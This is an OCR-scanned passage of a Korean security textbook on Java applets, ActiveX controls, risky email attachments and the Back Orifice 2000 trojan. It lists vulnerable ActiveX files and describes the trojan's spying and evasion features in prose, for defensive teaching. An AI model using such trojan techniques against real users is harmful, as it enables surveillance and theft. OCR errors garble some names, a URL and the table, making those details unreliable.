소자준위 (chip level ) 에서 제대로 달리는 기계코드를 만들지만 바이트코드는 오직 가상 
기계에 의해서만 번역될수 있다. 본질상 가상기계는 Java 바이트코드를 번역하며 PC 에서 
그것 을 달리 게 하는 실 행 가능한 프로그람이다. 

사용자가 애플레트를 가진 Web 폐지를 열람할 때 그것은 Java 애플레트를 실행 하기 
시 작하는 열 람기의 가상기계 이다. 거기 에는 Macintosh , Linux 그리 고 Windows 와 같 
은 많은 다른 체 계들을 위 한 코드를 실행할수 있는 모의 기들이 있다. Windows 기 대 에서 
달리는 같은 코드는 리론적으로 Macintosh 기대에서 틀림없이 잘 달린다. Java 가상기계 
( JVM：Java Vitual Machine ) 는 Java 바이트코드가 다양한 조작체계들에서 달릴수 있는 
모의기와 류사하다. 즉 JavaVM 을 Java 모의기로 생각하면 된다. 

이 바이트코드는 조작체계와 직접 접속하지 않는다. 바이트코드는 OS 에로 직접 임 
의의 연산들을 진행하기전에 VM 을 통해 려과되여야 한다. 코드가 가상기계를 통해 달 
리 기 때 문에 코드가 다른 환경 하에 서 도 동작하도록 제 한하여 배 치할수 있 다. 보통 Java 
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프로그람은 국부기대를 달릴 때 마음대로 하드구동기를 읽고 쓸수 있는 능력을 가지며 
망에서 그것이 접속할수 있는 임의의 콤퓨터에 정보를 보내며 받을수 있는 능력을 가진 
다. 그러나 코드가 애플레트로서 프로그람화되면 그것이 동작할수 있는데는 보다 제한 
된다. 

애플레 트들은 정상적 으로 국부하드구동기를 읽거 나 자료를 쓸수 없다(그것들이 더 
높은 특권준위들을 요구함이 없이는 할수 없다). 이것은 리론상 사용자가 그 어떤 사람 
의 체계에 있는 애플레트들을 달려도 손상된 자료를 가지는데로부터 완전히 안전하다는 
것을 의미한다. 애플레트들은 역시 애플레트를 보내온 봉사기를 제외하고 임의의 다른 
망자원과 통신할수 없다. 이것은 내부망에 있는 임의것에 접속하며 비법적인것들을 수행 
하게 하려는데로부터 애플레트를 보호한다. 

1) 매플레트에 추가적인 접근을 주기 

애플레트가 사용자의 국부하드구동기 에 일부 자료를 보관할 필요가 있을수 있다. 즉 
실례로 사용자가 어떤 다른 사람에게 보내려고 하는 한편의 시를 자동적으로 발생시키기 
위해 바로 애 플레 트를 리 용한다면 그런 상태 가 생 긴다. Java 애 플레 트는 애 플레 트가 떠 
나버 린 URL 의 바깥에서 또 다른 소케트에 접속하기 위한 허 락을 문의할수 있다. 

보안신용모형 (security trust Model ) 을 러 용하여 애 플레 트는 체 계 자원들에 로 보충 
적 인 접 근을 요구하며 증명 서 를 현시할수 있 다(그림 3-8). 증명 서 는 VeriSign 과 같은 
권한을 가지며 RSA 보안은 당신이 말하는 프로그람작성자가 바로 당신이라는것을 검증 
하고 당신의 싸이트로부터 보내온 코드가 변화되지 않았다는것을 검증할것 이 다. 

만일 사용자가 수자증명서를 리용하는 애플레트를 보낸다면 몇가지 일들이 생길수 
있다. Internet Explorer 나 Netscape Navigator 와 같은 열람기내에서 사용자는 알맞 
게 현시된 증명서를 볼수 있을것이다. 또한 이것은 Hotmail 과 같은 Web 관련전자우편봉 
사들을 목표로 한다. 그러 나 전자우편용의 뢰 기 쏘프트웨어 는 조금 다르다. Netscape 
Messenger 는 조심성 있는 취급방법을 취 하며 보다 많은 허 락 ( permission ) 을 청 하는 임 
의의 애플레트달리기를 거절한다. 우리의 체계에서는 만일 전자우편이 이 양상으로 보충 
적인 허락을 요구하면 Outlook Express 는 좀 불안정해 지거나 지어 파괴된다. 



그림 3-8. 보충적 인 접근을 요구하는 애플레트 
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2) Java 와 관련된 보안문제 

대체로 Java 애플레트들은 체계자료에 아무러한 심한 손상도 주지 못하면서 지나치 
게 많이 기웃거리며 돌아 다닌다. 우선 Microsoft 와 Netscape 에 의한 JVM 의 실현에는 
몇개의 구멍들이 있다. 그러나 열매가 무르익듯이 그것들은 더욱 세련되고 있다. 여기에 
최근 2000년 8월에 발견된 구멍들이 있다. 만일 가장 최근의 자료에 흥미를 가지면 
http*//tiva» ■效 aM / aecurlly / 메 있는 Sun 회사의 Java Security 싸이 트를 방문하시오. 
구멍들은 대체로 보안덧대기되였으나 여전히 비법적해커들에게 리용될수 있는 일부 구멍 
들이 있다. 그러면 이것들의 일부를 살펴 보자. 

(1) 배경스 as 

애 플레 트들은 배 경 (Background) 에 서 확고히 달리 는 스레 드들을 만드는 능력 이 있 
다. 스레드 (Thread) 는 다른 코드블로크들과 함께 동시에 실행될수 있는 코드블로크이 
다. 사용자가 전자우편이 나 하나의 열 람기 창문을 닫고 나온후에라도 스레 드들은 달리 기 
를 유지할수 있다. 이 스레 드가 무엇 을 하고 있는가에 따라 사용자를 성 가시 게 굴수 있 
다. 어떤 성가신 스레드들은 음악을 반복하게 하고 감정을 산 전자우편물의 닫기를 계속 
하게 한다. 악질스레드를 죽이는 유일한 방법은 모든 열람기창문들을 완전히 닫아 버 리 
거 나 전자우편프로그람을 완전히 끝내 는것 이 다. 

애플레트들은 역시 고의적이든 아니든 나쁜 프로그람작성을 통해 많은 기억기와 
CPU 능력을 리용할수 있다. 보통 이것들은 어떤 종류의 계산을 항상 수행하거 나 기 억기 
루설을 가져 오는 많은 스레드들을 만듦으로써 수행된다. 만일 스레드들을 너무 많이 리 
용하면 체계를 느리게 동작시키거 나 지 어 체계를 파괴할수 있다. 이 형태의 애플레트를 
작성 하기는 대 단히 쉬우며 따라서 체 계를 꺼버리는데서 매우 효과적 이 다. 

(2) 주봉사기와 접속 

우리가 학습한것처럼 애플레트는 자기가 기원을 둔 봉사기를 제외하고 인터네트에 
있는 다른 봉사기들과 접속할수 없다. 만일 우리가 Span 우편을 보낸다면 수납자의 전자 
우편주소가 여전히 활동한다는것을 검증하는 애플레트를 리용할수 있다. 수납자가 전자 
우편을 열자마자 애플레트는 인터네트에 그가 가지 고 있는 초기 봉사기와 접속할수 있으 
며 그 어떤 사람이 전자우편을 읽는것을 보고한다. 지어 그것이 열려 졌을 때를 보고할 
수 있으며 가능한껏 수납자가 그것을 얼마동안 열고 있는가까지 보고할수 있다. 이것은 
직 접 체 계 에 손상은 주지 않지 만 개 인비 밀의 침 해 로 된다. 

3) Java 보안예방책 

애플레트가 엄을수 있는 유일한 정보조각들은 사용자의 사건현장(조작체계를 위한 
나라를 설정), 애플레트의 크기 그리고 ip 주소정보이다. 애플레트들을 위한 보안모형은 
아주 잘되여 있으므로 일반적으로 애플레트에 의해 일어 날수 있는 심한 손상은 없다. 

사용자가 인터네트보안을 위한 기정설정들을 유지하는 한 사용자가 보잘것 없는 공 
격들을 막기 위하여 할수 있는 일은 많지 않다. 보안의식이 있는 사용자들이 할수 있는 
첫번째 일은 가장 최근판본의 Internet Explorer 와 Netscape 의 리용이 다. 만일 사용자 
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들이 자기들의 체계배경에서 례외적인 어떤것이 움직인다고 의심하면 실제로 신용하지 
않는 임의의 전자우편을 지울수 있으며 우편프로그람을 끝낼수 있다. 이것은 배경에서 
달리는 임의의 j ava 스레드들을 멈출것이다. 

만일 사용자들이 보안을 대 단히 의심하면 그들은 가장 안전한 경로를 밟을수 있으며 
Java 을 완전히 무효화시킬수 있을것이다. 

이것은 역시 Netscape 열 람기 를 위 한 Java 를 사용하지 못하게 만들것 이 다 (여 기서 
오직 우편내에서만 그것을 무효화시키는 설정은 없다). j ava 를 리용하지 못하는 사용자 
의 인터네트실천실기는 프로그람이 하려고 의도하는것처럼 그렇게 훌륭하게는 되지 못할 
것이다. 

5. ActiveX 조종제 

매몰 Java 애플레트들에 대 한 Microsoft 의 대 답은 ActiveX 이 다. ActiveX 조종체를은 
사용자관점에서 볼 때 Java 애플레트들과 비슷하게 보일수 있으나 보안모형은 매우 차이 
난다. 또한 Java 가 Windows , Linux 그리고 Macintosh 를 비롯한 임의의 가상적인 조 
작체계에서 달릴수 있다는데 비추어 보면 ActiveX 부분품들은 콤파일된 2진물형태로 배 
포되므로 그것들은 오직 자기들이 프로그람화된 조작체계에서만 동작할수 있다. 실천적 
으로 이것은 그것들이 오직 Microsoft Windows 조건에서만 달린다는 담보가 선다는것 
을 의 미한다. 이 리 유로 하여 ActiveX 는 Web 폐 지내 용물을 프로그람화하는데 서 매 우 
보편적 이 못된다. 왜 냐하면 인터 네트를 리용하면 대 단히 넓은 령역의 PC 들에서 그것 이 
동작하지 않기 때 문이 다. 

ActiveX 는 초기 에 는 오직 Internet Explorer 와 Outlook Express 와만 동작하였 다. 
역시 그것은 Eudora 와 함께 동작할것 이 다. 왜냐하면 Eudora 는 Internet Explorer 와 
득 갈은 HTML 내용물을 보기 위한 코드를 이제는 공유하고 있기때문이다. 그러나 
ActiveX 접 속기 가 열 람기 를 위 해 설 치 되 지 않고서 는 Netscape Navigator 나 Nerscape 
Messenger 와 동작하지 않을것 이 다. 

Java 애플레트들은 사용자체계에 설치되지 않으며 따라서 일단 사용자가 Web 페지를 
떠 나기 만 하면 애 플레 트는 체 계 로부터 사라질것 이 다. 이 것 은 제 한된 시 간동안 고속완충 
기 (캐 쉬 )등록부에 머 무를수 있다. 그러 나 ActiveX 부분품들은 림 시 로 혹은 흔히 영 구히 
설치될수 있다. 한가지 가장 보편적 인 ActiveX 부분품이 Macromedia 의 Shockwave 놀 
이자이다. 그것은 일단 설치되면 사용자의 하드구동기에서 그것을 선택하여 지울 때까지 
는 남아 있는다. 

1) ActiveX 보안개괄 

ActiveX 는 자기의 보안실현에서 전적 으로 인증증명서 ( au 比 letication certificate ) 들 
을 믿는데 이것은 보안모형이 전적으로 사람의 판단력을 믿는다는것을 의미한다. 이 모 
형 을 가지 고 사용자는 거 의 100%로 ActiveX 조종체 가 증명 서 에서 서 술하는 존재 물 
( entity ) 로부터 오고 있다는것을 확신할수 있다. 

수자위조물 (digital forgery ) 을 막기 위 하여 증명서 에 등록된 사람이 나 회사가 합법 
적 이 라는것을 확인하는 인증코드공정과 결합된 수표권한이 리용되고 있다. Java 애플레 
트를 가지고 수표하기때문에 VeriSign 은 수표하는 회사로서 행동할수 있다. 

이 형태의 보안과 함께 사용자는 조종체 가 합리적 인 인증이라는것을 안다. 따라서 
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Adobe 나 IBM 에 인증을 요구하는 사람은 옳지 않다. 그 어떤 사람은 역시 그것 이 당신 
코드의 어떤 변종이 아니 라는것을 상대적으로 확신할수 있다(당신의 Web 싸이트에 끼여 
들지 않았거나 당신의 비공개열쇠가 손상 받지 않고서는 이렇게 말할수 있다). 한편 위 
조물의 모든 가능성들을 다 피할수 없기때문에 결합은 매우 효과적이다. 즉 고객한테 상 
점 으로부터 《수축포장된》쏘프트웨 어를 사는것으로써 같은 준위의 믿음성을 얻을수 있 
다고 적극 고무추동하는것이 좋다. 이것은 역시 운반물이 토정에서 변화되지 않았다는것 
을 믿으면 내리적재물에 흠이 없음을 검사하는 수단으로써 리용할수 있다. 

Internet Explorer 는 그것의 유효성을 믿기 위한 수자서명들을 검사할것이며 다음 어 
떤 사람이 ActiveX 조종체를 설치할것을 바라는가를 사용자에게 문의하는 인증증명서를 현 
시할것이다. 이 시점에서 사용자는 두가지 선택권을 가진다. 즉 프로그람을 접수하여 그것 
을 사용자의 PC 에 완전접근시키든지 아니면 그것을 완전히 물리치는 선택권을 가진다. 

또한 여기에 설계된 ActiveX 조종체들이 있다. 이 조종체들을 만든 작성자들은 그들 
이 자기들이 말하는 그 사람들이 라는것을 검증하는 수자서명에 참가하는것을 달가와 하 
지 않는다. 수표 안된 조종체들을 받아 들이는 사용자의 불안은 만일 조종체가 사용자의 
콤퓨터에서 어떤 나른짓을 한다면 어떤 사람한테 책임이 있는지를 알지 못할것이라는것 
이다. 당신의 코드를 수표하지 않음으로 해서 당신 프로그람은 일련의 원인으로 하여 책 
임 을 회 피하려 고 생 각하는 고객 들한테 서 아마 배 척 받게 될 것 이 다. 

Microsoft Internet Explorer 의 기정설정은 실제적으로 수표 안된 임의의 ActiveX 
조종체들을 완전히 물리치는것 이 다. 이것은 만일 ActiveX 조종체 가 수표 안된것 이면 어 
떤 사람이 그것의 설치를 바라는가를 사용자에게 지어 문의조차 하지 않을것이라는것을 
의미한다. 이것은 좋은 기정설정인데 많은 사람들은 그것들에 대하여 읽어 보지도 않고 
대 화칸들을 닫아 버린 다. 

만일 어떤 사람이 당신에게 수표 안된 ActiveX 조종체를 가진 전자우편을 보냈다면 
Outlook Express 는 그것 을 기 정 으로서 무시할것 이 다. 

두개 의 스크립 트작성언어 들인 VBScript 와 Jscript 는 ActiveX 조종체 의 함수들을 호 
출할수 있 다. 이 것 들을 앞에 서 이 미 론의 하였 다. 보다 새 로운 Outlook Express 판본들 
과 Internet Explorer(4. 표와 5.X) 에서 Microsoft 는 ActiveX 조종체 에 스크립트작성 을 
위한 안전 혹은 불안전표식 을 달게 하는 보안모형 을 취 급하였 다. 만일 우리 가 ActiveX 
조종체를 잠재적으로 비법적인 활동(하드구동기를 읽거나 쓰는것과 갈은)들을 할수 있게 
하는 메쏘드들을 가지고 개발한다면 ActiveX 조종체 에 스크립트작성을 위한《불안전》 
조종체 라는 표식을 달수 있 다. 

이것은 리론상 안전조종체들만 스크립트작성언어들에 접근할수 있게 할것 이 다. 이 
보안모형에는 여전히 몇가지 주되는 약점들이 있는데 이제 이에 대해 고찰한다. 

2) ActiveX 와 관련된 보안문제 

ActiveX 보안모형은 사용자들이 어떤 프로그람들은 받아 들이고 어떤 프로그람들은 
물리 쳐 야 하는가에 대한 정 확한 결심을 내릴것을 바란다. 이것은 사용자들이 인증증명서 
에 서명을 한 사람이나 회사를 어쨌든 신용한다는것을 암시한다. 사용자들은 당신이 이 
결심을 내리는데 대해 충분히 알고 있는가? 

사용자들이 꼭 봐야 하는 어떤 허울 좋은 프로그람이 있을 때 그들한테는 실제로 위 
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험 이 온다. 만일 마지막 5개 ActiveX 조종체 가 모두 깨끗하다면 여섯번째 조종체도 역시 
깨끗할것 이 라고 생각하는것은 당연한 리 치 이다. 지 어 비 법적 이 아닌 ActiveX 프로그람들 
이 라고 해도 자기들의 보안모형 이 건전하지 못하면 거꾸로 해독작용을 할수 있는 잠재 력 
을 가진다. 실례 로 Shockwave 놀이 자(유희 프로그람)는 사람들에 게 다매 체내 용물을 코 
드화하게 한다. 만일 Shockwave 놀이자가 프로그람화된 내용물에 하드구동기에 있는 
파일 들을 보게 한다면 (우리 는 그것 을 한다고 생 각지 않는다. ) Shockwave 조종체 를 리 
용하여 내용물을 만드는 임의의 사람은 역시 그 파일들을 볼수 있을것이다. 

아마 보건대 ActiveX 보안모형의 최대약점은 임의의 조종체 가 콤퓨터 에서 포착하기 
힘든 미묘한 작용들을 할수 있으므로 사용자에게도 그것을 알아 내는 재간이 없다는 그 
것일것이다. 

인터네트에 있는 봉사기에로 콤퓨터에 있는 믿음성 있는 환경설치정보를 말없이 전 
송한 조종체를 데 리고 가버 리는것은 대 단히 쉬울것 이 다. 

한편 이 형태의 위반들은 법적으로 의심스러운 죄들인데도 시장거래조사의 명목으로 
회사들에 의해 리용될수 있다. 

기술적으로 ActiveX 보안실현에서 보고된 보안구멍들은 없다. 다시말하여 ActiveX 
조종체 들을 사용자의 허 락을 우선적 으로 문의 함이 없 이 설 치하는 방법 을 지 금까지 찾은 
것은 없다. 하지만 보안구멍들은 개발자가 ActiveX 조종체를 의도에 맞지 않게 만들거나 
실현하면 생길수 있다. 보안구멍들을 가진 조종체들을 우연트로이목마 (accidental 
Trojan Horses ) 라고 부론다. 오늘까지 해커들에 의해 채용 당한 검출된 많은 우연트로 
이목마들이 있다. 

3) 미리 설치된 ActiveX 조종제 

오늘 Windows 체계들은 이미 설치된 의심할바 없는 ActiveX 조종체들을 가지고 있 
다. 한가지 흥미 있는 경우가 있는데 HP Pavilion 체계들은 이미 설치된 2개의 다루기 
힘 든 조종체 들인 System Wizard Launch Control , Registry Access Control 을 가지 
고 있다. 

이 조종체들은 하드구동기의 자료를 읽고 쓸수 있는 권한을 가진 함수들을 가지고 
있다. 이것은 해커들이 Outlook Express 를 리용하여 어떤 사람에게 비법적인 우편물을 
보낼수 있게 한다. 따라서 수납자가 전자우편을 열자마자 조종체는 다음의 임의것을 스 
스로 수행한다. 

• 콤퓨터비루스 혹은 체계에 상주하는 다른 쏘프트웨어를 설치한다. 

• Windows 보안시험을 허용하지 않고 앞으로의 공격들을 위하여 체계를 열게 한다. 

• 하드디 스크로부터 파일들을 공치 며 원격싸이 트에 그것 들을 몰래 올리 적재한다. 

• Windows 체계파일들을 비롯하여 국부하드구동기로부터 임의의 파일들을 지우므로 
체계가 더는 기동하지 못하게 한다. 

첫번째 항목이 특별히 흥미 있는것인데 그것은 Back Orifice 2000원격설치와 갈은 
쏘프트웨어 가 사용자기 대 에서 실행되는 프로그람을 설 치하도록 하기때 문이 다. 또한 
Back Orifice 는 다른 사용자체계에 대한 완전조종을 가진다. 이것은 사용자의 기대에 
있는 모든 자료와 조종체들을 인터네트에 영구접속하고 있는 어떤 다른 사람에게 완전히 
공개하도록 한다. 
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4) 완충기넘침오유 


많은 ActiveX 조종체 들을 전 염 병 에 걸 린 것 처 럼 보이 게 하는 완충기 넘 침 (buffer 
overrun ) 이라고 부르는 형태의 문제거리가 있다. 완충기넘침바그에 대한 조언과 덧대기 
들이 1999년 4. 4분기에 발표되였다. 이 바그의 알속은 단독적인 코드가 사용자기대에서 
실행될수 있게 한다는것 이 다. 

사용자들은 지난 시 기 Adobe 나 Microsoft 와 같이 잘 째 인 회 사들로부터 의 코드를 
리 용하는것 이 안전하다고 생 각하고 있 었 으나 Acrobat Reader 4.0 과 같은 조종체 들은 
이 바그를 포함하고 있었다. 

일반적으로 Internet Explorer 4. X 에 미리 설치되는 알려 진 문제성 있는 조종체 
들은 표 3-4 와 갈다. 이 조종체 들에 안전조종체 들이라는 표식 을 달았다. 왜 냐하면 이 것 
들은 사용자하드구동기에 로의 직접 접근을 허 락 받지 못하고 있다고 생각했기때문이 다. 
완충기넘침바그는 이것들에 하드구동기접근을 쉽게 허락하므로 이 조종체들은 사실상 안 
전하지 못하다. 


표 3-4. ActiveX ( 완충기 넘 침》조종체 들과 그와 련관된 파일 


조종체 이 름 

파일이름 

파일 판본 

Acrobat Control for ActiveX 
Internet Explorersetup control 
Windows Eyedig control 

MSN setup BBS control 
Windows HTML help control 
Windows 98 Registration Wizard 

PDF . OCX 
SETUPCTL . DLL 
EYEDOG . OCX 
SETUPBBS . OCX 
HHOPEN . OCX 
REGWIZC . DLL 

vl .3.188 
vl , 1,0,6 
vl .1.1.75 
v 4.71.0.10 
VI , 0,0,1 
v 3,0,0,0 


5) 고의적인 비법 ActiveX 

만일 사용자들이 보안을 낮추자고 자기들의 인터네트설정들을 변화시키면 ActiveX 
조종체들은 사용자의 PC 에 전자우편을 통해 보이지 않게 남몰래 설치될수 있다. 도이월 
란드 함부르그의 카오스콤퓨터구락부 ( CCC:Chaos Computer Club ) 는 급이 높은 비 법 
적 인 ActiveX 조종체들의 계 렬을 만들어 냈다. 이 조종체들은 두말할것없이 수표 안된 
조종체 들이 므로 기정 설정 들을 그대 로 하면서 도 Outlook 는 그것 들을 완전히 무시할것 이 
다. 고의적이든 아니면 부주의로 하든 기정보안설정들을 무시한 사용자들은 이와 갈은 
류형의 공격에서 해를 입기 쉽다. 

6) 스크립트작성 용불안전조종제 

사실 안전조종체가 아닌 조종체에 부주의로《스크립트작성용안전》조종체로서 표식 
을 달면 보안구멍들이 채용될수 있다. 이 방법으로 우연히 표식이 붙은 적어도 3개의 
ActiveX 조종체는 다음과 같다. 


• Microsoft Eyedog Control , 
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• Scriptlet. typlib ， 

• Windows 98 Resource Kit Launch Control 


Microsoft 회사는 이 문제거리들을 인정하고 그것을 퇴치하는 덧대기판본을 내놓았다. 

7) ActiveX 보안대책 

일부 사람들은 대화칸들이 항시적으로 튀여 나와 있는것을 성가시게 군다고 보고 수 
표한 모든 내용물을 허용하는 Internet Option 을 변화시킨다. 만일 사용자가 덧대기구 
멍 을 찾는데 실패하면 그 어떤 사람은 조종체 와 련결된 파일을 지울수 있는데 이 것은 
Registry (체 계 등록고)에 들어 가게 하는 처 리 하기 힘 든 해결대 책 이므로 사용자의 체 계 
에 오유들을 만들어 내게 할수 있다. 사용자의 가장 좋은 선택은 ActiveX 내용물에 접근 
하는 스크립트 작성코드를 사용하지 못하게 만드는것 인데 이 경우 스크립트 작성코드와 함 
께 조종체들을 전혀 호출할수 없을것이다. 

8) ActiveX 조종제를 비허용 


Microsoft Windows 는 ActiveX 조종체 를 Internet Explorer 와 Outlook/Outlook 
Express 에서 완전히 허용하지 않는다. 《죽이기비트》 (kill bit) 는 ActiveX 조종체가 달 
리지 못하게 하는데 이것은 체계등록고인 Windows Registry 를 통해서만 능력을 발휘 
할수 있다. 이것은 어떻게 설정하는가에 따라 조종체를 여전히 달리게 하는 《Safe for 
scripting 》설 정 을 해 제 시 키 는것 과는 좀 다르 다. 

하지만 이에 대한 Microsoft 의 해결책은 그렇게 쉽지 않다. 사용자들은 자기들이 
사용하지 않으려고 하는 ActiveX 조종체에 대응하는 CLSID 를 Registry 에서 찾아야 한 
다. Microsoft 에 따르면《 당신이 사용하지 못하게 만들려는 ActiveX 조종체 에 어떤 
CLSID 가 대응하는가를 결정하기 위하여서는 당신은 우선 현재 설치된 모든 ActiveX 조 
종체들을 지우고 사용하지 못하게 만들려는 조종체를 설치한 다음 <kill bit〉 를 그것의 
CLSID 에 더해야 한다.》는것 이 다. 이것은 ActiveX 조종체를 지울수 있는 가능성 이 항 
상 있는것은 아니기때문에 곤난한 일이다. 

6. 전자우편첨부물과 내리적재된 실행가능한 파일 

첨부물로부터 옳게 실행할수 있는 몇 가지 파일들이 있다. Windows 에서 이 파일들 
은 실행형2진파일 (exe 와 com), 묶음파일 (.bat), VBScript 파일 (.vbs) 그리고 실행 가 
능한 JAR 파일 (.jar) 들을 포함한다. 만일 첨부물을 받고 그것을 선택 하면 보통 전자우 
편프로그람은 당신에게 경고를 줄것이며 그것을 보관하거나 열수 있는 선택권을 줄것이 
다. 보통 사용자는 그것을 실행해 본적이 없이는 또 어떤 사람으로부터 그것에 대한 신 
임과 담보가 없이는 절대로 자기 전자우편으로부터 실행파일을 단순히 열 려고 하지 말 
아야 한다. 

vbs 를 가지 고 끝나는 파일 들은 VBScript 파일 들이다. 이 파일 들은 Windows 의 도 
형사용자대면부 (GUI) 세계로 좀 조절된것을 제외하고는 묶음파일 (.bat 파일)과 매우 류사 
하다. 여기서 묶음파일은 Dos 관련세계로 좀 더 조절된다. 

VBScript 파일 을 만들기 는 쉽다. 즉 
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# 본문편집기를 열고 문서에 다음과 같은 얼마간의 본문을 넣는다. 

Msgbox “Click ok to reformat hard drive” 

# ,vbs 확장자를 가지고 파일을 보관한다. 

③ 이제는 결과들을 보기 위하여 파일을 두번 찰칵할수 있다. 

여기서 물론 위험은 사실 하려고 하던것과 다른 무엇인가를 파일이 하도록 했을것 
이 라는 그것 이 다. 이 형태의 공격을 트로이목마공격 (Trojan horse attack) 이 라고 부른 
다. 실행파일이 일단 활성화되면 비루스나 어떤 다른 비법적인것을 설치할수 있다. 현재 
《어떤 다른》비법적인것이란 매우 궤변적이고 무서운것일수 있다. 

Back Orifice 2000토로안 

Back Orifice 2000 즉 B02K 는 아마 지 금까지 개 발된 가장 침 략적 인 트로얀일 것 이 
다. 《The Club of the Dead Cow》 (죽은 암소의 구락부) 라고 부르는 해커 그룹은 이 
쏘프트웨 어 를 공개 원천대 상과제 (open-source project) 로서 개 발하였 다. 그블은 B02K 
는 망관리도구라고 말하지만 이렇든 저렇든 이것은 그것을 합법화하려는 시도에 불과하 
다. 만일 그것 이 관리도구라고 하면 검출을 교묘하게 빠져 나가기 위한 여 러가지 스텔스 
특징들을 가질 필요는 없다. 또한 관리 자에게 탁상화면쇼트 (desktop screen shot) 를 
채 취하는것과 같은 침입적 인 일을 하게 하기전에 사용자에게 통보해 야 할것 이 다. 

BQ2K 는 피해자콤퓨터조종을 취하기 위한 서로 분리된 3개의 모둘로 구성되여 있다. 


、% 봉사자 (server) 는 피 해 자기 대 에서 달리는 작은 프로그람이다. 

작은 exe 파일은 대략 112KB 인데 이것은 얼마나 많은 접속기들이 첨가되였는가 
에 따라 커질수 있다. 

이 작은 파일은 일단 그것이 사용자기대에 설치되기만 하면 접속을 위해 관리자 
를 기 다리 고 있기때 문에 실제 로 봉사프로그람이다. 

資) 환경설치도구는 트로얀실행파일을 전용화하는데 리용된다(그림 3-9). 이것은 우 
선 달릴 때 체 계등록부에 자동적 으로 자기 를 설 치하거 나 자기 를 숨기 기 위 해 마 
치어떤 다른 사람에 의하여 봉사자파일이름이 바뀌여 진것처럼 하는 등 여러가 
지 수법으로 변장할수 있다. 

，도형관리도구는 체계를 조작하고 조종하는데 리용되였다. 

이 프로그람에서 보게 되는 놀라운 사실은 Microsoft 가 프로그람화했다고 거의 생 
각하고 있는 그것을 어떻게 전문적으로 꾸레미로 묶는가와 얼마나 그것을 리용하는것이 
쉬 운가 하는것 이 다. 이 프로그람은 설 치 프로그람 (Installation program) , 환경 설 치 위 자 
드프로그람 (Wizard), 접속기첨가능력들을 완전히 갖추고 있다. 공개원천은 실지로 인상 
적인 개념이다. 공개원천의 유감스러운 부분이 있다면 그것은 제한된 콤퓨터지식을 가진 
사람들이 무제한한 손상을 줄수 있다는것이다. 보통 콤퓨터지식과 책임사이에는 일련의 
관계 가 있지 만 이 와 같은 쏘프트웨어 는 그것 을 완전히 외 면한다. 
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그림 3-9. 봉사프로그람(봉사자)전용화 


모든 B02K 함수들은 GUI 로부터 조종된다. 능력표는 대단히 확장되여 있는데 거기 
서 일부는 생각하건데 원격사용자관리를 위하여 리용되고 있으나 많은것들은 확실히 귀 
찮은것들을 만들어 낸다. 거 기 에는 봉사기관리 자들한테 리용될수 있는 70개 이상의 개별 
지 령들이 있다. 일단 그 어떤 사람이 피해자의 기대 에 조그마한 봉사자파일 이라도 설치 
하기만 하면 해커는 다음의 임의것을 할수 있다. 

• 피 해 자기 대 를 재 기 동시킨 다. 

• 피해자기대에 열쇠를 건다. 

• 모든 망통과암호들을 통과암호완충기 로부터 횡 령한다. 

• 처리소자속도，기억기와 디스크용량과 같은 기대정보를 얻는다. 

• 사용자가 기대에서 타자하는 모든 건반들을 기록하고 임의의 시간에 그것들을 본다. 

• 체계통보문칸을 현시한다. 

• 또 다른 IP 주소나 포구에 로 체 계포구를 재지정한다. 

• Microsoft 회사망에서 공유자원들을 첨가하며 지운다. 

• 망에로 자원들을 넘기기 (map) 하거나 넘기기해제 (unmap) 한다. 

• 체 계공정들을 시 작，끝내기 , 목록화한다. 

이것은 사용자가 달리게 한 임의의 프로그람을 끝내버리는것도 포함한다. 

• 사용자가 Registry (체계등록고)에 대한 완전편집과 보기를 한다. 

• 피해자기대에 있는 선택된 .wav 파일을 동작시킨다. 

• 탁상의 화면채취를 실현한다. 

• 수자식카메라와 같은 임의의 화상채취장치들의 존재를 목록화한다. 만일 그것이 
있다면 해커는 그것으로부터 avi 영화나 화상을 여전히 채 취할수 있다. 이것은 피 
해자의 방 (room) 에 대한 직접접인 정 탐을 하게 한다. 

•사용자의 하드구동기에 완전접근하여 완전편집한다. 

• 봉사프로그람을 끝낼수 있는 능력을 주며 체계로부터 저절로 그것을 완전히 지 
운다. 

인정할수 있는것처럼 이것은 해커들에게 피해자기대에 대한 완전하고 절대적인 조종 
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권한을 준다. 일단 누가 기대에 봉사자를 설치하였다면 그 어떤 사람은 이제는 소유자의 
기대가 실제로 아니다 할 정도까지 소유자보다 더 많은 그에 대한 조종기능을 가질수 있 
을것이다. 실례로 렬거한 목록에서 보다 천진란만해 보이는 한가지 특징은 포구를 또 다 
른 IP 주소와 포구에 로 재지정할수 있다는 능력 이 다. 만일 누군가가 Web 봉사기기대 에 
B02K 를 받아 들이게 할수 있다면 그 어떤 사람은 아마 이 기대를 인터네트에서 보다 
평 판이 나른 싸이 트로 재지정할것 이 다. 일 단 이 렇게만 되면 당신의 Web 싸이트에 로 가 
는 모든것을 다른데로 방향을 바꾸게 할수 있을것 이 다. 

B02K 는 또한 봉사기측, 의뢰기측 혹은 두 켠에서 다 리용되는 계3자들에 의하여 
개발된 접속기들을 허용한다. 많은 제3부류 인물들은 사업에 착수하였으며 치명적이기는 
하지 만 꾸밈 이 없는 일 련의 접 속기 들을 개 발하였 다. 접 속기 모둘 (plug-in module) 들은 
봉사기나 의뢰기로부터의 가장 위엄 있는 기능을 허용한다. 이 기능들은 다음과 갈은것 
들을 포함한다. 

• 작은 화상흐름을 통하여 사용자탁상움직 임을 본다. 

• 사용자를 등록할 때 그것은 사용자의 IP 주소를 가진 전자우편을 선택된 전자우편 
주소로 보낸다. 

• B02K 로부터의 모든 망통신을 암호화하므로 관리 자들은 자기들의 망에서 그것을 
검출할수 없다. 

• B02K 를 통하여 기대에 있는 프로그람들을 묶어서 해커기대에 로 등에업 고나르기 
(piggyback) 한다. 

• 파일탐색기 (Explorer) 와 비슷한 도형사용자대면부로 파일들을 열람한다. 

• 도형 사용자대 면부 (GUI) 에 서 체 계 등록기 지 Registry 를 보며 편집한다. 

명백 히 이것들은 사용자관리범위 를 넘 어 선다. 그러 면 왜 그들은 이것들을 그렇게 
만들었는가? 디 스리크선생 (Sir Dystic) 의 이름으로 활동하는 한 성원은 자기는 
《Windows 조작체계내에 존재하는 취약성들에 대하여 알려고 노력하고 있다.》라고 말 
하고 있다. 그는 이것을 수행하는 가장 좋은 방법은 그의 약점을 항상 주시함으로써 이 
투어 진다고 보고 있다. 물론 이것은 중성자무기의 부속품들을 만들어 시외에서 넘겨 주 
는 산 증거물을 잡겠다고 노력 하는것과 같다. 

방어 견지 에 서 볼 때 지 금까지 는 방화벽 을 뚫고 침 입할수 있 다는 B02K 에 대 한 아무 
